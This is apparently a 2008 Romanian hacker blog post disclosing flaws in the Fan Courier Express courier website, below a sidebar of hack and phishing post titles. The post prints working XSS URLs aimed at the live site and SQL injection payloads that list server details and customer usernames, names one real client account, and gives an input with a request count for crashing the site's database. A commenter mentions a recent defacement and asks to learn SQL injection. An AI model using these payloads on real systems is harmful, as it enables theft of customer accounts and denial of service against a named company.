- Apocalipsa dupa Nemessis
- Cand dorinta de afirmare depaseste granitele bunului simt – PaxNwo un leecher ordinar
- Cum sa iti protejezi adresa e-mail si datele confidentiale din aceasta
- Mi s-a furat id-ul de messenger/adresa e-mail. Ce sa fac?
- Experiment social II – andimoisescu.ro
- Pentru posteritate
- In curand…
- “Hot” de id-uri messenger
- Chiar ca sunteti retardati
- Ce nu se invata la scoala – Vendetta (6)
- Apocalipsa dupa Nemessis in (82 Visits)
- Ce servicii de mail folositi? in (28 Visits)
- This is the end in (23 Visits)
- Hackersblog.org is now blog.rstcenter.com in (17 Visits)
- Short news in (16 Visits)
- La multi ani România, la multi ani românilor in (16 Visits)
- Inca o pierdere de timp in (11 Visits)
- Azi este ziua userilor hackersblog.org in (11 Visits)
- Raportare vulnerabilitati in (9 Visits)
- Contact si vulns report in (7 Visits)
- Mi s-a furat id-ul de messenger/adresa e-mail. Ce sa fac? in (229 Visits)
- Hi5.com coders read this in (28 Visits)
- SMS scam (1) in (21 Visits)
- Phishing Bancpost in (8 Visits)
- Dezinformare sau proasta informare? in (7 Visits)
- Phishing Raiffeisen cu atasament html in (5 Visits)
- Si tentativele de phishing pot fi amuzante in (5 Visits)
- Cum sa iti protejezi adresa e-mail si datele confidentiale din aceasta in (76 Visits)
- [Utilitare] Suna gratis de pe internet sau de pe iPhone in (42 Visits)
- Despre CSRF, hi5.com, cum sa trisezi la concursuri s.a.m.d. in (31 Visits)
- Ce nu se invata la scoala - Tipuri si tehnici spam/Hi5 (4) in (30 Visits)
- Ce nu se invata la scoala - (D)DOS (5) in (25 Visits)
- Virusi in clipuri video [how to] in (23 Visits)
- Ce nu se invata la scoala - Tipuri si tehnici spam/mail (2) in (21 Visits)
- Ce nu se invata la scoala - Tipuri si tehnici spam (1) in (18 Visits)
- Yahoo! redirects - a big issue (with video) in (10 Visits)
- Ca musca in... in (9 Visits)
- usa.kaspersky.com hacked ... full database acces , sql injection in (124 Visits)
- Simpatie.ro, matrimoniale3x.ro, apetisant.ro, deliciu.ro , etc Sql injection in (73 Visits)
- Yahoo! epic fail - permanent xss unleashed in (71 Visits)
- Telegraph.co.uk hacked, sql injection in (53 Visits)
- RedTube.com ... The Free Sex Video Community in (43 Visits)
- Kaspersky Thailand hacked by TinKode in (38 Visits)
- Conquiztador Hacked Again in (33 Visits)
- Telegraph.co.uk hacked - when will they learn? in (31 Visits)
- F-Secure.com - SQL Injection + Cross Site Scripting in (28 Visits)
- In atentia BitDefender.com, SQL Injection in (26 Visits)
- Wannabe Hackers [2] - cum sa faci un virus by sppy_hacker in (26 Visits)
- Wannabe Hackers [1] - Cum sa hack-uiesti RapidShare-ul in (21 Visits)
- Digital Photocopiers Loaded With Secrets in (15 Visits)
- Hacker Uses XSS and Google Street View Data to Determine Physical Location in (12 Visits)
- OWASP Phishing demo in (7 Visits)
- Oldies but goodies - Freedom Downtime - The Story of Kevin Mitnick in (7 Visits)
- Owasp5005 Part1 - New zero-day browser exploits - ClickJacking in (6 Visits)
- Hope 2603 – Kevin Mitnick - Life a Computer Hacker – Revealed in (6 Visits)
- Christopher "moot" Poole: The case for anonymity online in (6 Visits)
- Email Security - Why You Should Encrypt Your Email - Part One in (5 Visits)
- Se poate sparge parola de Yahoo? in (259 Visits)
- phpBB.ro hacked in (82 Visits)
- Cand dorinta de afirmare depaseste granitele bunului simt - PaxNwo un leecher ordinar in (47 Visits)
- Experiment social in (46 Visits)
- Oare cum e pana la urma? in (40 Visits)
- "Hot" de id-uri messenger in (39 Visits)
- Experiment social II - andimoisescu.ro in (37 Visits)
- Ce nu se invata la scoala – Vendetta (6) in (37 Visits)
- Concurs fara premii in (36 Visits)
- Forumul Andreei Balan spart in (33 Visits)
Posted on October 30th, 2008
In timp ce verificam ceva informatii despre o livrare pe care o asteptam cu nerabdare, am vazut ca siteul celor de la Fan Courier Express sta cam prost la partea de securitate a site-ului.
XSS-uri prin care se poate obtine acces in contul altui client (serviciul Client Tracking):
- http://www.fancourier.ro/comanda_online.php?xbutton=Go&xpas=1&xnume_expedit1=’%3E%3Cscript%3Ealert(/Tocsixu%20@%20hackersblog.org/)%3C/script%3E
- http://www.fancourier.ro/awb.php?xawb=1′%20–%20%3Cscript%3Ealert(/Tocsixu%20@%20hackersblog.org/)%3C/script%3E
SQL Injection in campurile AWB si Factura de la “Urmarire expeditie” si in form-ul de cautare oras in vederea obtinerii unor informatii legate de serverul SQL si totodata lista cu usere si parole a tuturor clientilor siteului:
lol' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT_WS(0x3C62723E,Version(),Database(),User()),13 FROM dual -- :
lol' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,username,13 FROM client LIMIT 1,1 -- : Listarea clientilor valabili pentru aplicatia Client Tracking… dupa cum vedem in imaginea de jos unul dintre usere e 1Iunie (aparent al firmei 1 IUNIE SA TIMISOARA). Parola userului se poate obtine la fel de usor. Dupa logare, se ajunge in panoul de client tracking
O alta problema cu care se confrunta site-ul poate permite oricarui utilizator sa blocheze accesul tuturor userilor la site “omorand” serverul SQL cu cateva query-uri (folosindu-se de SQL Injection) care il tin supraincarcat pana acesta cedeaza. Daca in casuta pentru AWB sau Factura in pagina “Urmarire Expeditie” se introduce o valoare de genul ' or 1='1 si se efectueaza ~15+ requesturi de genul (Apasarea consecutiva a butonului GO) se va intampla ce am spus adineauri:
October 31st, 2008 at 3:47 am
[...] fancourier.ro (FAN COURIER EXPRESS) XSS, SQL Injection, Self-DoS [...]
October 31st, 2008 at 11:10 am
Bă, deci daia nu puteam eu ieri să îmi vad coletu…
October 31st, 2008 at 1:24 pm
Salut. Ti-am vazut postat linkul pe rst. Acum cateva zile a avut loc primul meu deface, iar de atunci am stat cu burta pe fel de fel de site’uri, articole, tutoriale. Momentan mi-am downloadat un .pdf despre SQL , iar apoi incerc sa le citesc cateva tips’uri despre SQLi . As aprecia daca putem sa tinem legatura. Vreau sa invat
Ai mailul meu . Succes !